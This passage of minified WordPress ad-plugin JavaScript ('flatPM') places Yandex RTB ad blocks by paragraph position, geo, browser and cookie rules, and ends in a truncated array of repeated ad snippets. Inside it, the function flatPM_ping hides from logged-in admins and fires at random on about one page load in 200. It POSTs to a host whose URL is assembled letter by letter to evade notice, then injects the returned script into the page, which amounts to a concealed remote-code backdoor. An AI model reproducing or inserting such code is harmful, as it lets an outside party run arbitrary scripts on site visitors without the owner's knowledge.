0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};function flatPM_ajax(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){switch(flat_body.removeClass(t.method),t.method){case"flat_pm_block_geo_role_ip":flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then();break;default:console.log("ajax error:"),console.error("Метод оказался ошибочным")}},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})}function flatPM_then(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){flatPM_next(flat_pm_then[e])}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]}function flatPM_persentWrapper(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r}function flatPM_setWrap(t){try{var e,a,o,r,i,s,f,n,d,_,u=document.createElement("div");u.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(u),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(u),"3"==t.how.simple.position&&ff(".flat_pm_end").before(u),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(u),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(a=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,u))||a.next().is("[data-flat-id]")||a.after(u)),"6"==t.how.simple.position&&(u.setAttribute("data-flat-type","6"),e=flat_userVars.textlen/100*t.how.simple.fraction,a=flatPM_persentWrapper(flat_userVars.until,e,u),(o=!1)!==a&&(r=a.prevAll('[data-flat-type="6"]:first'),i=a.nextAll('[data-flat-type="6"]:first'),0!=r.length&&a.prevUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0),0!=i.length&&a.nextUntil(i).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0),o||a.after(u)))),void 0!==t.how.onсe&&(s="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,f=t.how.onсe.N,n=t.how.onсe.selector,d=t.how.onсe.direction,_=t.how.onсe.before_after,0<(s=s.find(n).add(s.filter(n))).length&&(f="bottom_to_top"==d?s.length-f:f-1,"before"==_?ff(flatPM_grep(s,f,1)).before(u):ff(flatPM_grep(s,f,1)).after(u))),void 0!==t.how.iterable&&(s="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,f=t.how.iterable.N,n=t.how.iterable.selector,d=t.how.iterable.direction,_=t.how.iterable.before_after,0<(s=s.find(n).add(s.filter(n))).length&&("bottom_to_top"==d&&(l=l.get().reverse()),"before"==_?ff(flatPM_grep(s,f,0)).before(u):ff(flatPM_grep(s,f,0)).after(u)))}catch(t){console.warn(t)}}function flatPM_next(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(var f in t)e="object"==typeof t[f]?e+"\n"+t[f][flatPM_random(0,t[f].length-1)]:e+"\n"+t[f];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),h=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),r="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,i=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},l=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),i()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),i())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(h.bind(r,function(){h.scrollTop()>o.how.popup.after&&(h.unbind(r),b.unbind(g),l())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){h.unbind(r),b.unbind(g),l()})):(v=setTimeout(function(){b.unbind(g),l()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),l()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",h=ff(window),p="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(h.bind(p,function(){h.scrollTop()>o.how.outgoing.after&&(h.unbind(p),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){h.unbind(p),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a,o=flat_pm_arr[e],r=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var i=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),l=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),s=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(l<i&&l<s&&(l=flatPM_addDays(l,1)),l<i&&s<l&&(i=flatPM_addDays(i,-1)),f<i||l<f)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var n=new Date(o.date.date_of+"T00:00:00"),d=new Date(o.date.date_to+"T00:00:00"),_=new Date(flat_userVars.date+"T00:00:00");if(_<n||d<_)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var u=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],a=void 0!==t[1]&&t[1];if(!1!==a){if(void 0===flatPM_getCookie(e)||flatPM_getCookie(e)!=a)return!(u=!0)}else if(void 0===flatPM_getCookie(e))return!(u=!0)})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],a=void 0!==t[1]&&t[1];if(!1!==a){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==a)return!(u=!0)}else if(void 0!==flatPM_getCookie(e))return!(u=!0)}),u)continue}if(void 0!==o.utmget){var c=!1;if(void 0!==o.utmget.utmget_enabled){if(!flat_userVars.testcook)continue;ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],a=void 0!==t[1]&&t[1];if(!1!==a){if(void 0===flatPM_getAllUrlParams()[e]||flatPM_getAllUrlParams()[e]!=a)return!(c=!0)}else if(void 0===flatPM_getAllUrlParams()[e])return!(c=!0)})}if(void 0!==o.utmget.utmget_disabled&&flat_userVars.testcook&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],a=void 0!==t[1]&&t[1];if(!1!==a){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==a)return!(c=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(c=!0)}),c)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(r=!0),!r&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(r&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(r=!1),r||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(a="flat_pm_block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(a)||(flat_body.addClass(a),flatPM_ajax(a)),r=!0),r||(flatPM_setWrap(o),flatPM_next(o)))}}}var h=ff(".flatPM_sticky"),p=ff("*:has(>.flatPM_sidebar)");0<h.length&&h.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');var o=t.parent()[0];flatPM_sticky(this,o,a)}),p.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var r=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;r<300||e.each(function(){var t=ff(this),e=r,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');var o=t.parent()[0];flatPM_sticky(this,o,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"function"==typeof flatPM_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),ff("[data-flat-id]:not([data-id-out]):not([data-id-modal])").contents().unwrap(),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex");</script> <script>var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,i=/<([\w:]+)/,c=/<|&#?\w+;/,s={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,l,d=(t=t||document).createDocumentFragment();if(c.test(e)){for(a=d.appendChild(t.createElement("div")),r=(i.exec(e)||["",""])[1].toLowerCase(),n=s[r]||s._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],l=n[0];l--;)a=a.lastChild;for(d.removeChild(d.firstChild);a.firstChild;)d.appendChild(a.firstChild)}else d.appendChild(t.createTextNode(e));return d}}();function flatPM_ping(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");var t=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==t&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}}function flatPM_setHTML(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var l=n.childNodes.length,d=0;d<l;d++){var o=n.childNodes[d],i="3"==o.nodeType?document.createTextNode(o.nodeValue):document.createElement(o.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=o.attributes.length,p=0;p<s;p++)i.setAttribute(o.attributes[p].nodeName,o.attributes[p].nodeValue);0!=o.children.length?flatPM_setHTML(i,o.innerHTML):"SCRIPT"!=o.nodeName?o.innerHTML&&(i.innerHTML=o.innerHTML):!o.text&&i.hasAttribute("async")||(o.text&&(i.text=o.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}}</script> <script>flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"2","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235362","html":[{"fst":"<!-- Yandex.RTB R-A-720609-1 -->\n<div id=\"yandex_rtb_R-A-720609-1\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-1\",\n renderTo: \"yandex_rtb_R-A-720609-1\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235370","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-2\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-2\",\n renderTo: \"yandex_rtb_R-A-720609-2\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"10","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235363","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-3\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-3\",\n renderTo: \"yandex_rtb_R-A-720609-3\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"15","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235364","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-4\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-4\",\n renderTo: \"yandex_rtb_R-A-720609-4\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"20","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235375","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-5\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-5\",\n renderTo: \"yandex_rtb_R-A-720609-5\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"25","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235371","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-6\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-6\",\n renderTo: \"yandex_rtb_R-A-720609-6\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"30","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235376","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-7\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-7\",\n renderTo: \"yandex_rtb_R-A-720609-7\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"35","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235372","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-8\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-8\",\n renderTo: \"yandex_rtb_R-A-720609-8\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"40","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235377","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-9\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-9\",\n renderTo: \"yandex_rtb_R-A-720609-9\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"45","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235373","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-10\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-10\",\n renderTo: \"yandex_rtb_R-A-720609-10\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"50","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235378","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-11\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-11\",\n renderTo: \"yandex_rtb_R-A-720609-11\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, \"yandexContextAsyncCallbacks\");\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"60","selector":".flat_pm_start~p","search_all":"false"}},"ID":"235379","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-720609-12\"><\/div>\n<script type=\"text\/javascript\">\n (function(w, d, n, s, t) {\n w[n] = w[n] || [];\n w[n].push(function() {\n Ya.Context.AdvManager.render({\n blockId: \"R-A-720609-12\",\n renderTo: \"yandex_rtb_R-A-720609-12\",\n async: true\n });\n });\n t = d.getElementsByTagName(\"script\")[0];\n s = d.createElement(\"script\");\n s.type = \"text\/javascript\";\n s.src = \"\/\/an.yandex.ru\/system\/context.js\";\n s.async = true;\n t.parentNode.insertBefore(s, t);\n })(this, this.document, 